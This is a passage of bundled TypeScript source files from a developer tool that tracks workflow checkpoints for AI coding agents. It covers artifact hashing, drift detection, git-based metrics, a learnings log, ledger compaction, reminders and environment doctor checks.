Phase 5 — test hook: reset module cache so unit tests can verify lazy-load\n *  + fail-soft + re-load paths in isolation. NOT for production use. */\nexport function _resetAutoChainCache(): void {\n  _autoChainCache = null\n  _autoChainLoadFailed = false\n}\n","// v5.0 Spec 1 (ADR-0033 D2/D4) — fail-closed evidence guard primitives.\n//\n// The only fs/crypto touch of the state-machine core (design §9 component isolation).\n// Three pure-ish functions, no state-file I/O (the caller in checkpoint.ts owns that):\n//   - hashFile         : sha256 hex of a file's bytes.\n//   - checkArtifacts   : locate a sub's leaf workflow.yaml (under packageRoot), read\n//                        declared `phases[].artifacts_expected`, stat + hash each\n//                        relative to process.cwd() (artifacts live in the user\n//                        project). Three-state outcome (none_declared / verified /\n//                        missing). `found[].path` is absolute (drift re-hash base).\n//   - detectDrift      : re-hash stored evidence refs, list path/was/now mismatches\n//                        (cross-CC handoff drift — warn, not block, per ADR-0033 D4).\n\nimport { createHash } from 'node:crypto'\nimport { readFile, stat } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { parse as parseYaml } from 'yaml'\nimport { resolveWorkflowYaml } from '../cli/run.js'\nimport type { CurrentWorkflowV1Type, EvidenceRefType } from './schema/currentWorkflow.v1.js'\n\n/** sha256 hex digest of a file's bytes. */\nexport async function hashFile(path: string): Promise<string> {\n  const buf = await readFile(path)\n  return createHash('sha256').update(buf).digest('hex')\n}\n\nexport interface CheckArtifactsResult {\n  /** 'verified'      — declared artifacts present (sha256 recorded).\n   *  'missing'       — some declared artifact is absent (caller blocks on `missing`).\n   *  'none_declared' — leaf declares no artifacts_expected → guard N/A (NOT a pass). */\n  status: 'verified' | 'missing' | 'none_declared'\n  found: EvidenceRefType[]\n  missing: string[]\n}\n\n/** Collect every `artifacts_expected` path declared across all phases of a leaf\n *  workflow.yaml, flattened in declaration order. */\nfunction collectDeclared(parsed: unknown): string[] {\n  const phases = (parsed as { phases?: unknown })?.phases\n  if (!Array.isArray(phases)) return []\n  const declared: string[] = []\n  for (const ph of phases) {\n    const arts = (ph as { artifacts_expected?: unknown })?.artifacts_expected\n    if (Array.isArray(arts)) {\n      for (const a of arts) if (typeof a === 'string') declared.push(a)\n    }\n  }\n  return declared\n}\n\n/** Read the flattened sub's leaf `phases[].artifacts_expected`, stat + hash each.\n *  - no declared artifacts → `{ status: 'none_declared', found: [], missing: [] }`\n *    (guard N/A — NOT a pass; the three-state ledger marks it distinctly).\n *  - all present → `{ status: 'verified', found: [{path, sha256}], missing: [] }`.\n *  - some missing → `{ status: 'missing', missing populated }`: the caller blocks on\n *    `missing.length > 0`. `found` still carries the present artifacts.\n *\n *  TWO BASES (P0-A): the leaf workflow.yaml is located under `packageRoot`\n *  (harnessed install dir — `resolveWorkflowYaml` resolves against it, unchanged),\n *  but the declared ARTIFACTS are produced by the agent in the user PROJECT cwd, so\n *  they are stat'd/hashed relative to `process.cwd()`. `found[].path` stores the\n *  ABSOLUTE artifact path so `detectDrift` re-hashes the same file regardless of the\n *  later cwd (complete and drift share one base — no cwd漂移). `missing[]` keeps the\n *  declared relative path (human-readable in the block message). */\nexport async function checkArtifacts(\n  sub: string,\n  packageRoot: string,\n): Promise<CheckArtifactsResult> {\n  const yamlPath = await resolveWorkflowYaml(sub, resolve(packageRoot, 'workflows'))\n  if (!yamlPath) return { status: 'none_declared', found: [], missing: [] }\n\n  const parsed = parseYaml(await readFile(yamlPath, 'utf8'))\n  const declared = collectDeclared(parsed)\n  if (declared.length === 0) return { status: 'none_declared', found: [], missing: [] }\n\n  const cwd = process.cwd()\n  const found: EvidenceRefType[] = []\n  const missing: string[] = []\n  for (const rel of declared) {\n    const abs = resolve(cwd, rel)\n    const present = await stat(abs)\n      .then((s) => s.isFile())\n      .catch(() => false)\n    // Store the ABSOLUTE path so detectDrift re-hashes the same file later (P0-A).\n    if (present) found.push({ path: abs, sha256: await hashFile(abs) })\n    else missing.push(rel)\n  }\n  // P1-3 three-state honesty: 'verified' when nothing missing; 'missing' when a\n  // declared artifact is absent (caller still gates on `missing.length`).\n  return { status: missing.length === 0 ? 'verified' : 'missing', found, missing }\n}\n\nexport interface CheckPlanningSyncResult {\n  /** 'verified'      — .planning/STATE.md is present (hard gate satisfied).\n   *  'missing'       — .planning/ dir exists but STATE.md is absent (caller blocks).\n   *  'none_declared' — no .planning/ dir in cwd → non-GSD user; guard N/A (NOT a pass). */\n  status: 'verified' | 'missing' | 'none_declared'\n  missing: string[]\n}\n\n/** Check whether the GSD .planning/ progress doc is in sync (Phase 12 强制执行哨兵 G2).\n *  Hard gate: .planning/STATE.md existence only. workflowState is accepted for future\n *  mtime-warn extension (locked decision D5) but unused in the predicate.\n *\n *  Three-state outcome:\n *  - no .planning/ dir → none_declared (non-GSD user; no block)\n *  - .planning/ present, STATE.md absent → missing (caller blocks on missing[])\n *  - .planning/STATE.md present → verified */\nexport async function checkPlanningSync(\n  cwd: string,\n  // Reserved for future mtime-warn extension (D5); unused in the hard-gate predicate.\n  _workflowState: CurrentWorkflowV1Type | null,\n): Promise<CheckPlanningSyncResult> {\n  const planningDir = resolve(cwd, '.planning')\n  const hasPlanningDir = await stat(planningDir)\n    .then((s) => s.isDirectory())\n    .catch(() => false)\n  if (!hasPlanningDir) return { status: 'none_declared', missing: [] }\n\n  const stateFile = resolve(cwd, '.planning', 'STATE.md')\n  const hasStateFile = await stat(stateFile)\n    .then((s) => s.isFile())\n    .catch(() => false)\n  if (!hasStateFile) return { status: 'missing', missing: ['.planning/STATE.md'] }\n\n  return { status: 'verified', missing: [] }\n}\n\nexport interface DriftEntry {\n  path: string\n  /** stored sha256 at completion. */\n  was: string\n  /** current sha256; '' when the file no longer exists. */\n  now: string\n}\n\n/** Re-hash each stored evidence ref; list mismatches (handoff drift). A deleted/\n *  unreadable file counts as drift with `now: ''`. ADR-0033 D4: warn, not block. */\nexport async function detectDrift(evidence: EvidenceRefType[]): Promise<DriftEntry[]> {\n  const drift: DriftEntry[] = []\n  for (const ref of evidence) {\n    const now = await hashFile(ref.path).catch(() => '')\n    if (now !== ref.sha256) drift.push({ path: ref.path, was: ref.sha256, now })\n  }\n  return drift\n}\n","// src/checkpoint/scale.ts — G1 scale-adaptive verify strength. Pure assessScale\n// (schema-type-only, zero I/O — sister of ledger.ts purity); collectScaleMetrics\n// is the impure git/.planning collector, fail-soft per design (absent signal -> 0).\n\nimport { exec } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { promisify } from 'node:util'\nimport type { SubProgressEntryType } from './schema/currentWorkflow.v1.js'\n\nconst execp = promisify(exec)\n\nexport interface ScaleMetrics {\n  changedFiles: number\n  firedSubs: number\n  requirements: number\n}\n\n/** Pure decision: 'full' verify when ANY signal exceeds its threshold, else 'light'. */\nexport function assessScale(m: ScaleMetrics): 'light' | 'full' {\n  return m.changedFiles > 5 || m.firedSubs > 4 || m.requirements > 3 ? 'full' : 'light'\n}\n\n/** Impure collector. All three signals fail-soft to 0 (git absent / no merge-base /\n *  no .planning) so a non-GSD repo with no git still yields a deterministic 'light'. */\nexport async function collectScaleMetrics(\n  cwd: string,\n  ledger: SubProgressEntryType[],\n): Promise<ScaleMetrics> {\n  const firedSubs = ledger.filter((e) => e.status !== 'skipped').length\n  return {\n    changedFiles: await countChangedFiles(cwd),\n    firedSubs,\n    requirements: await countRequirements(cwd),\n  }\n}\n\nasync function countChangedFiles(cwd: string): Promise<number> {\n  try {\n    const { stdout: base } = await execp('git merge-base HEAD origin/main', { cwd })\n    const ref = base.trim()\n    if (!ref) return 0\n    const { stdout } = await execp(`git diff --name-only ${ref}`, { cwd })\n    return stdout.split('\\n').filter((l) => l.trim() !== '').length\n  } catch {\n    return 0\n  }\n}\n\nasync function countRequirements(cwd: string): Promise<number> {\n  try {\n    const text = await readFile(resolve(cwd, '.planning', 'REQUIREMENTS.md'), 'utf8')\n    // Acceptance items are markdown list lines (`- ` / `* ` / `1. `).\n    return text.split('\\n').filter((l) => /^\\s*([-*]|\\d+\\.)\\s+/.test(l)).length\n  } catch {\n    return 0\n  }\n}\n","// Phase 16 — cross-session learning loop. On workflow completion, the mechanical\n// failure/loop/reject signals in the final ledger are appended to the repo's\n// git-shareable `.planning/LEARNINGS.md` (append-only), so the next session starts\n// smarter (Trellis update-spec analog, no-vendor). The agent can also append a\n// prose lesson via `harnessed learn`. Consumption is via the standard `.planning/`\n// read convention now, and Phase 17's per-turn injection later.\n//\n// Write target is the REPO root (repoKey(cwd)), NOT the global harnessed root.\n// D4 — no empty writes: a clean completion (no failure signals) writes nothing,\n// which also keeps the test suite from polluting a real repo's `.planning/`.\n\nimport { existsSync } from 'node:fs'\nimport { appendFile, mkdir, writeFile } from 'node:fs/promises'\nimport { dirname, join } from 'node:path'\nimport type { SubProgressEntryType } from './schema/currentWorkflow.v1.js'\nimport { repoKey } from './workflowStore.js'\n\nexport interface LearningSignal {\n  sub: string\n  kind: 'looped' | 'rejected' | 'failed'\n  fail_count?: number\n}\n\n/** Pure — extract mechanical learning signals from a final ledger. One signal per\n *  sub at most: looped (fail_count>0, the G6 thrash signal) wins, then rejected\n *  (G7-lite abandon), then failed. Clean subs (done/skipped/pending) produce none. */\nexport function extractLearnings(ledger: SubProgressEntryType[]): LearningSignal[] {\n  const signals: LearningSignal[] = []\n  for (const e of ledger) {\n    if ((e.fail_count ?? 0) > 0) {\n      signals.push({ sub: e.sub, kind: 'looped', fail_count: e.fail_count })\n    } else if (e.status === 'rejected') {\n      signals.push({ sub: e.sub, kind: 'rejected' })\n    } else if (e.status === 'failed') {\n      signals.push({ sub: e.sub, kind: 'failed' })\n    }\n  }\n  return signals\n}\n\nexport interface LearningEntryInput {\n  phase: string\n  signals: LearningSignal[]\n  prose?: string\n  at: string\n}\n\n/** Pure — render a dated markdown block for one learning entry. */\nexport function formatLearningEntry({ phase, signals, prose, at }: LearningEntryInput): string {\n  const lines = [`### ${at} — phase ${phase}`]\n  for (const s of signals) {\n    lines.push(`- ${s.kind}: ${s.sub}${s.fail_count != null ? ` (×${s.fail_count})` : ''}`)\n  }\n  if (prose) lines.push(`- lesson: ${prose}`)\n  return `${lines.join('\\n')}\\n\\n`\n}\n\nconst HEADER =\n  '# Learnings\\n\\n> Append-only cross-session learning log (harnessed Phase 16). Newest at bottom.\\n\\n'\n\n/** The repo's learnings file: `<repoRoot>/.planning/LEARNINGS.md`. */\nexport function learningsPath(repoRoot: string): string {\n  return join(repoRoot, '.planning', 'LEARNINGS.md')\n}\n\n/** Append-only write into the repo's LEARNINGS.md. Creates `.planning/` and the\n *  file (with a one-time header) on first write; never truncates existing content. */\nexport async function appendLearning(repoRoot: string, entry: string): Promise<void> {\n  const p = learningsPath(repoRoot)\n  await mkdir(dirname(p), { recursive: true })\n  if (!existsSync(p)) await writeFile(p, HEADER, 'utf8')\n  await appendFile(p, entry, 'utf8')\n}\n\n/** Auto-capture half of the hybrid loop: extract signals from a completed\n *  workflow's ledger and, when there is at least one, append a learning entry to\n *  the current repo's LEARNINGS.md. Returns the number of signals captured.\n *  NO-OP (returns 0, writes nothing) for a clean ledger (D4). */\nexport async function captureWorkflowLearnings(\n  ledger: SubProgressEntryType[],\n  phase: string,\n): Promise<number> {\n  const signals = extractLearnings(ledger)\n  if (signals.length === 0) return 0\n  const entry = formatLearningEntry({ phase, signals, at: new Date().toISOString() })\n  await appendLearning(repoKey(), entry)\n  return signals.length\n}\n","// Phase 3.1 W4 T4.2 — compact threshold (RESEARCH § 7 推 75%).\n// Phase 14 — made real: `compactLedger` (pure summarize+evict of resolved\n// sub-progress) + `compactWorkflow` (read-modify-write) + `shouldAutoCompact`\n// (auto-trigger gate). G6 invariant: entries with fail_count>0 are NEVER evicted,\n// so breakLoop's loop signal is never summarized away (the placeholder that\n// preceded this lost that signal — see _rogue-impl-reference F1).\n\nimport type { SubProgressEntryType } from './schema/currentWorkflow.v1.js'\nimport { readCurrentWorkflow, writeCurrentWorkflow } from './state.js'\n\nexport const DEFAULT_THRESHOLD_PCT = 75\nexport const DEFAULT_CONTEXT_WINDOW = 200_000 // sonnet/opus 4.x baseline; 1M ctx defer Phase 3.4\n\nexport interface CompactOpts {\n  contextWindow?: number\n  thresholdPct?: number\n}\n\n/** True when currentTokens ≥ thresholdPct% of contextWindow. */\nexport function shouldCompact(currentTokens: number, opts: CompactOpts = {}): boolean {\n  const cw = opts.contextWindow ?? DEFAULT_CONTEXT_WINDOW\n  const pct = opts.thresholdPct ?? DEFAULT_THRESHOLD_PCT\n  if (cw <= 0) return false // avoid division by zero / negative budget\n  return currentTokens >= (cw * pct) / 100\n}\n\n/** Auto-trigger gate: only when a caller-supplied conversation token count crosses\n *  the shouldCompact threshold. Undefined tokens → false (silent no-op; never\n *  fabricate a count). Reuses shouldCompact — no separate threshold path. */\nexport function shouldAutoCompact(currentTokens?: number, opts: CompactOpts = {}): boolean {\n  return currentTokens != null && shouldCompact(currentTokens, opts)\n}\n\nexport interface CompactLedgerResult {\n  kept: SubProgressEntryType[]\n  evicted: number\n  by_status: Record<string, number>\n  before_tokens: number\n  after_tokens: number\n  pct_saved: number\n  digest: string\n}\n\n/** ~4 chars/token heuristic (sister: check-token-budget.ts), zero-dep. */\nfunction estTokens(x: unknown): number {\n  return Math.ceil(Buffer.byteLength(JSON.stringify(x) ?? '', 'utf8') / 4)\n}\n\n/** An entry is evictable iff it is terminal-resolved AND carries no failure signal.\n *  fail_count>0 entries are preserved unconditionally so breakLoop (G6) keeps\n *  seeing the loop — even when the entry's status is 'done'. */\nfunction isEvictable(e: SubProgressEntryType): boolean {\n  if ((e.fail_count ?? 0) > 0) return false\n  return e.status === 'done' || e.status === 'skipped' || e.status === 'rejected'\n}\n\n/** Pure — summarize + evict resolved sub-progress entries. Returns the kept\n *  ledger, an eviction digest, and a REAL token-reduction metric (not entry %). */\nexport function compactLedger(entries: SubProgressEntryType[]): CompactLedgerResult {\n  const before_tokens = estTokens(entries)\n  const kept = entries.filter((e) => !isEvictable(e))\n  const evictedEntries = entries.filter(isEvictable)\n  const by_status: Record<string, number> = {}\n  for (const e of evictedEntries) by_status[e.status] = (by_status[e.status] ?? 0) + 1\n  const after_tokens = estTokens(kept)\n  const pct_saved =\n    before_tokens > 0 ? Math.round(((before_tokens - after_tokens) / before_tokens) * 100) : 0\n  const parts = Object.entries(by_status).map(([s, n]) => `${s}:${n}`)\n  const digest =\n    evictedEntries.length === 0\n      ? 'compacted 0 entries'\n      : `compacted ${evictedEntries.length} entries (${parts.join(' ')})`\n  return {\n    kept,\n    evicted: evictedEntries.length,\n    by_status,\n    before_tokens,\n    after_tokens,\n    pct_saved,\n    digest,\n  }\n}\n\nexport interface CompactWorkflowResult extends CompactLedgerResult {\n  phase: string\n}\n\nfunction mergeCounts(\n  prev: Record<string, number> | undefined,\n  next: Record<string, number>,\n): Record<string, number> {\n  const out: Record<string, number> = { ...(prev ?? {}) }\n  for (const [k, v] of Object.entries(next)) out[k] = (out[k] ?? 0) + v\n  return out\n}\n\n/** Read current-workflow.json, evict resolved ledger entries, write back the kept\n *  ledger + a cumulative compacted_summary. No-op (no write) when there is no\n *  active workflow or nothing is evictable. */\nexport async function compactWorkflow(): Promise<CompactWorkflowResult> {\n  const wf = await readCurrentWorkflow()\n  if (!wf) {\n    return {\n      kept: [],\n      evicted: 0,\n      by_status: {},\n      before_tokens: 0,\n      after_tokens: 0,\n      pct_saved: 0,\n      digest: 'compacted 0 entries',\n      phase: '(none)',\n    }\n  }\n  const r = compactLedger(wf.sub_progress ?? [])\n  if (r.evicted > 0) {\n    const prev = wf.compacted_summary\n    await writeCurrentWorkflow({\n      ...wf,\n      sub_progress: r.kept,\n      compacted_summary: {\n        evicted: (prev?.evicted ?? 0) + r.evicted,\n        by_status: mergeCounts(prev?.by_status, r.by_status),\n        last_at: new Date().toISOString(),\n      },\n    })\n  }\n  return { ...r, phase: wf.phase }\n}\n","// Phase 22 — ship-reminder git core. Pure decision (`collectShipReady`) over an\n// injected commit counter + impure git reader (`defaultShipReady`), sister to\n// `cli/lib/release-preflight.ts` (pure checks + impure defaultDeps). Fail-soft:\n// any git error degrades to { ready:false } — a reminder must never crash a\n// checkpoint.\n//\n// Fact under test: are there unshipped commits since the most recent vX.Y.Z tag?\n// No release tag yet → count ALL commits (HEAD). The result is recomputed at each\n// allResolved `checkpoint complete`, so it self-heals to false after a release.\n\nimport { execFileSync } from 'node:child_process'\n\nexport interface ShipReadyResult {\n  ready: boolean\n  commits: number\n  baseTag: string | null\n}\n\nconst RELEASE_TAG = /^v(\\d+)\\.(\\d+)\\.(\\d+)$/\n\n/** Pure — pick the highest vX.Y.Z tag by numeric semver (ignores non-release tags\n *  and pre-release suffixes). null when there is no release tag. */\nexport function pickLatestReleaseTag(tags: string[]): string | null {\n  let best: { tag: string; n: [number, number, number] } | null = null\n  for (const tag of tags) {\n    const m = RELEASE_TAG.exec(tag.trim())\n    if (!m) continue\n    const n: [number, number, number] = [Number(m[1]), Number(m[2]), Number(m[3])]\n    if (\n      !best ||\n      n[0] > best.n[0] ||\n      (n[0] === best.n[0] && n[1] > best.n[1]) ||\n      (n[0] === best.n[0] && n[1] === best.n[1] && n[2] > best.n[2])\n    ) {\n      best = { tag: tag.trim(), n }\n    }\n  }\n  return best?.tag ?? null\n}\n\n/** Pure — decide ship-readiness. `countSince(tag)` returns commits after `tag`\n *  (or ALL commits when tag is null). ready = commits > 0. */\nexport function collectShipReady(\n  tags: string[],\n  countSince: (tag: string | null) => number,\n): ShipReadyResult {\n  const baseTag = pickLatestReleaseTag(tags)\n  const commits = countSince(baseTag)\n  return { ready: commits > 0, commits, baseTag }\n}\n\n/** Impure — read git tags + commit count, fail-soft. Wires `collectShipReady`\n *  with a real `git rev-list … --count` counter. Any git error → not ready. */\nexport function defaultShipReady(cwd: string): ShipReadyResult {\n  let tags: string[] = []\n  try {\n    tags = execFileSync('git', ['tag', '-l'], { cwd, encoding: 'utf8' })\n      .split('\\n')\n      .map((s) => s.trim())\n      .filter(Boolean)\n  } catch {\n    return { ready: false, commits: 0, baseTag: null }\n  }\n  const countSince = (tag: string | null): number => {\n    try {\n      const range = tag ? `${tag}..HEAD` : 'HEAD'\n      const out = execFileSync('git', ['rev-list', range, '--count'], {\n        cwd,\n        encoding: 'utf8',\n      }).trim()\n      const n = Number(out)\n      return Number.isFinite(n) ? n : 0\n    } catch {\n      return 0\n    }\n  }\n  return collectShipReady(tags, countSince)\n}\n","// Phase 22 — retro-reminder counter core. Pure helpers over a per-repo\n// RetroMetaEntry (stored in the WorkflowStoreV1 sidecar, NOT the envelope — the\n// envelope is replaced each `activate()`). The counter increments on every\n// allResolved `checkpoint complete`; when it crosses the threshold the\n// checkpoint path sets envelope `retro_due`. `harnessed retro --done` resets it.\n\nimport type { RetroMetaEntryType } from './workflowStore.js'\n\nexport const DEFAULT_RETRO_THRESHOLD = 5\n\n/** Pure — resolve the phase-count threshold from env (default 5). Junk / zero /\n *  negative falls back to the default (a non-positive threshold would fire every\n *  cycle, defeating the milestone-level intent). */\nexport function retroThreshold(env: NodeJS.ProcessEnv): number {\n  const raw = env.HARNESSED_RETRO_PHASE_THRESHOLD\n  if (raw === undefined) return DEFAULT_RETRO_THRESHOLD\n  const n = Number(raw)\n  return Number.isInteger(n) && n > 0 ? n : DEFAULT_RETRO_THRESHOLD\n}\n\n/** Pure — bump the counter by 1. Absent entry seeds a fresh counter at 1;\n *  preserves `last_retro_at` on an existing entry. */\nexport function incrementPhases(entry: RetroMetaEntryType | undefined): RetroMetaEntryType {\n  if (!entry) return { phases_since_retro: 1 }\n  return entry.last_retro_at\n    ? { phases_since_retro: entry.phases_since_retro + 1, last_retro_at: entry.last_retro_at }\n    : { phases_since_retro: entry.phases_since_retro + 1 }\n}\n\n/** Pure — has the counter reached the threshold? */\nexport function isRetroDue(count: number, threshold: number): boolean {\n  return count >= threshold\n}\n\n/** Pure — reset on an actual retro: zero the counter, stamp the time. */\nexport function resetRetro(now: string): RetroMetaEntryType {\n  return { phases_since_retro: 0, last_retro_at: now }\n}\n","// src/checkpoint/breakLoop.ts — G6 anti-thrash. Pure detector: subs that have failed\n// >= LOOP_THRESHOLD times are in a fix-forget-repeat loop (Trellis break-loop analog).\n// The 5-dimension root-cause framework lives in the break-loop skill doc, not here.\n\nimport type { SubProgressEntryType } from './schema/currentWorkflow.v1.js'\n\nexport const LOOP_THRESHOLD = 3\n\nexport interface LoopHit {\n  sub: string\n  count: number\n}\n\nexport function detectLoop(ledger: SubProgressEntryType[]): LoopHit[] {\n  return ledger\n    .filter((e) => (e.fail_count ?? 0) >= LOOP_THRESHOLD)\n    .map((e) => ({ sub: e.sub, count: e.fail_count as number }))\n}\n","// v3.7.0 Phase 1 — built-in doctor checks hoisted from src/cli/doctor.ts.\n// Sister `check-planning-with-files.ts` / `check-agent-teams-doctor.ts` helper\n// pattern keeps each check ≤80L and lets doctor.ts itself stay a thin dispatcher\n// (≤100L) — true to B-03 ≤225L hard limit without 12.5% tolerance exception.\n//\n// 4 built-in checks moved here verbatim:\n//   - checkNodeVersion  (sync, Node ≥22 hard requirement)\n//   - checkMcpScope     (async, ADR 0004 § 5 project-scope MCP enforcement)\n//   - checkJq           (sync, jq CLI presence + platform install hint)\n//   - checkWinBash      (sync, WSL bash detection + ralph-loop fork bug guard)\n\nimport { spawnSync } from 'node:child_process'\nimport { readFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { detectPlatform } from '../../installers/lib/platform.js'\n\nexport interface CheckResult {\n  name: string\n  status: 'pass' | 'warn' | 'fail'\n  message: string\n  fix?: string\n  /** v3.9.1 — structured install command sequence consumed by auto-install\n   *  dispatcher. Each entry is a single shell command tokenized for spawnSync\n   *  (first token = exe, rest = argv). Multiple entries run sequentially;\n   *  any non-zero exit aborts the chain. Distinct from `fix` (free-text\n   *  human-readable hint) — `install_commands` is machine-executable. */\n  install_commands?: readonly string[]\n}\n\nexport function checkNodeVersion(): CheckResult {\n  const v = process.versions.node\n  const major = Number.parseInt(v.split('.')[0] ?? '0', 10)\n  return major >= 22\n    ? { name: 'node ≥ 22', status: 'pass', message: `node ${v}` }\n    : {\n        name: 'node ≥ 22',\n        status: 'fail',\n        message: `node ${v} (need ≥ 22)`,\n        fix: 'nvm install 22 && nvm use 22',\n      }\n}\n\nexport async function checkMcpScope(): Promise<CheckResult> {\n  // v4.14.0 — this check reads CC-specific files (~/.claude.json); on any other\n  // platform it is meaningless → pass-skip.\n  if (detectPlatform().id !== 'claude') {\n    return {\n      name: 'mcp scope = project',\n      status: 'pass',\n      message: 'skipped (claude-only check)',\n    }\n  }\n  // ADR 0004 § 5: MCP servers must be installed at project scope (.mcp.json),\n  // never at user scope (~/.claude.json mcpServers block) — CC #54803.\n  const projectMcp = join(process.cwd(), '.mcp.json')\n  const userClaude = join(homedir(), '.claude.json')\n\n  let projectExists = false\n  try {\n    await readFile(projectMcp, 'utf8')\n    projectExists = true\n  } catch {\n    // .mcp.json absence is fine if no MCP servers are installed yet — only an issue\n    // if the user has them at user scope instead.\n  }\n\n  let userHasMcp = false\n  try {\n    const raw = await readFile(userClaude, 'utf8')\n    const parsed = JSON.parse(raw) as { mcpServers?: Record<string, unknown> }\n    userHasMcp = !!parsed.mcpServers && Object.keys(parsed.mcpServers).length > 0\n  } catch {\n    // ENOENT or malformed JSON — treat as no user-scope MCP servers, OK.\n  }\n\n  if (userHasMcp) {\n    return {\n      name: 'mcp scope = project',\n      status: 'fail',\n      message: `~/.claude.json has user-scope mcpServers (CC #54803 risk)`,\n      fix: 'remove user-scope entries; re-add via `claude mcp add --scope project ...`',\n    }\n  }\n  return {\n    name: 'mcp scope = project',\n    status: 'pass',\n    message: projectExists ? 'project .mcp.json present' : 'no MCP servers installed',\n  }\n}\n\nexport function checkJq(): CheckResult {\n  const finder = process.platform === 'win32' ? 'where' : 'which'\n  const r = spawnSync(finder, ['jq'], { encoding: 'utf8' })\n  if (r.status === 0 && r.stdout.trim().length > 0) {\n    return {\n      name: 'jq present',\n      status: 'pass',\n      message: r.stdout.split(/\\r?\\n/)[0]?.trim() ?? 'jq found',\n    }\n  }\n  const fix =\n    process.platform === 'win32'\n      ? 'winget install jqlang.jq  (or: scoop install jq)'\n      : process.platform === 'darwin'\n        ? 'brew install jq'\n        : 'apt-get install jq  (or: dnf install jq)'\n  return { name: 'jq present', status: 'fail', message: 'jq not found in PATH', fix }\n}\n\nexport function checkWinBash(): CheckResult {\n  // Only meaningful on Windows; on Unix we report skipped-OK.\n  if (process.platform !== 'win32') {\n    return { name: 'bash flavor (win)', status: 'pass', message: 'skipped (non-Windows)' }\n  }\n  // Step 1: locate the `bash` that PATH would resolve.\n  const where = spawnSync('where', ['bash'], { encoding: 'utf8' })\n  const firstBash = (where.stdout ?? '').split(/\\r?\\n/)[0]?.trim() ?? '(not found)'\n  if (where.status !== 0 || !firstBash || firstBash === '(not found)') {\n    return {\n      name: 'bash flavor (win)',\n      status: 'fail',\n      message: 'no bash on PATH',\n      fix: 'install Git for Windows (Git Bash) and ensure it is on PATH',\n    }\n  }\n  // Step 2: WSL probe — non-empty WSL_DISTRO_NAME = WSL bash, ralph-loop fork bug risk.\n  const probe = spawnSync('bash', ['-c', 'echo $WSL_DISTRO_NAME'], { encoding: 'utf8' })\n  const distro = (probe.stdout ?? '').trim()\n  if (distro.length > 0) {\n    return {\n      name: 'bash flavor (win)',\n      status: 'fail',\n      message: `WSL bash (${distro}) — ralph-loop subagent fork breaks under WSL`,\n      fix: 'reorder PATH so Git Bash precedes WSL bash.exe (Settings → System → Environment Variables)',\n    }\n  }\n  return { name: 'bash flavor (win)', status: 'pass', message: `${firstBash} (Git Bash / native)` }\n}\n","// src/cli/lib/probe-gstack.ts — Phase 3.2 W1 T1.4 — D-01 PROBE PRIMARY helper\n// (sister Phase 2.4 W3 origin-check.ts sister-share extract pattern for Karpathy\n// ≤200L 守门 — keeps doctor.ts ≤200L). Probes 4 outcome branches: gstack-only\n// (pass) / bare-only (pass) / both (ambiguous, fail+fix) / neither (fail+install).\n// Win shell flavor sister doctor.ts L80 checkJq pattern (process.platform switch).\nimport { spawnSync } from 'node:child_process'\n\nexport type GstackPrefix = 'gstack-' | ''\n\nexport interface ProbeResult {\n  status: 'pass' | 'fail'\n  prefix?: GstackPrefix\n  detail: string\n  fix?: string\n}\n\nfunction probeOne(cmd: string): boolean {\n  // sister doctor.ts L80 checkJq pattern: Node spawnSync 不继承 shell context,\n  // 跨 Win-shell 唯一稳路径 (RESEARCH § 1.2 verified).\n  const finder = process.platform === 'win32' ? 'where' : 'which'\n  const r = spawnSync(finder, [cmd], { encoding: 'utf8' })\n  return r.status === 0 && (r.stdout?.trim().length ?? 0) > 0\n}\n\n/** Probe PATH for gstack command prefix. 4 outcome branches per D-01 LOCKED\n *  (RESEARCH § 1.4 message table verbatim — Karpathy fail-loud discipline). */\nexport function probeGstackPrefix(): ProbeResult {\n  const hasGstack = probeOne('gstack-office-hours')\n  const hasBare = probeOne('office-hours')\n  if (hasGstack && !hasBare) {\n    return { status: 'pass', prefix: 'gstack-', detail: 'gstack-office-hours found' }\n  }\n  if (!hasGstack && hasBare) {\n    return { status: 'pass', prefix: '', detail: 'office-hours found (--no-prefix mode)' }\n  }\n  if (hasGstack && hasBare) {\n    return {\n      status: 'fail',\n      detail: 'both gstack-office-hours AND office-hours found — ambiguous',\n      fix: 'edit .harnessed/config.json manually: \\'{\"gstack_prefix\":\"gstack-\"}\\' OR \\'{\"gstack_prefix\":\"\"}\\'',\n    }\n  }\n  return {\n    status: 'fail',\n    detail: 'neither gstack-office-hours nor office-hours found in PATH',\n    fix: 'install gstack: `npm i -g @gstack/cli` (or your preferred install method)',\n  }\n}\n","// src/manifest/schema/aliases.v1.ts — Phase 3.3 W1 T1.2 (D-01 RICH 12th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts TypeBox shape direct analog).\n// RICH schema rejected FLAT (失 metadata) + TIERED (Karpathy YAGNI violation).\n// Manifest-domain colocation: src/manifest/schema/ (sister spec.ts + metadata.ts\n// existing manifest-domain schemas). Per W0.3 decision doc colocation rule.\n// ISO-date `pattern` NOT `format: 'date'` (Phase 3.2 W2 Rule 1 lesson:\n// FormatRegistry.Set not registered project-wide; `pattern` is zero-config\n// equivalent + sister governance.ts vetoed_at pattern precedent).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const AliasEntryV1 = Type.Object(\n  {\n    redirect: Type.String({ minLength: 1 }),\n    reason: Type.String({ minLength: 1, maxLength: 500 }), // DOS cap sister governance.ts\n    since_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n    deprecation_date: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO-date Phase 3.2 W2 Rule 1\n    removal_date: Type.Optional(Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' })), // optional long-tail window\n  },\n  { additionalProperties: false },\n)\n\nexport const AliasesV1 = Type.Object(\n  {\n    schemaVersion: Type.Literal(SCHEMA_VERSIONS.aliases), // 'harnessed.aliases.v1'\n    aliases: Type.Record(Type.String({ minLength: 1 }), AliasEntryV1),\n  },\n  { additionalProperties: false },\n)\n\nexport type AliasEntryV1Type = Static<typeof AliasEntryV1>\nexport type AliasesV1Type = Static<typeof AliasesV1>\n","// src/manifest/aliases.ts — Phase 3.3 W1 T1.4 — D-01 RICH consumer.\n// Sister src/manifest/validate.ts (yaml.parse + Value.Check) + sister\n// src/checkpoint/state.ts L23-41 (fail-soft read pattern).\n// Memoized 1-read per process (Karpathy YAGNI, only pay 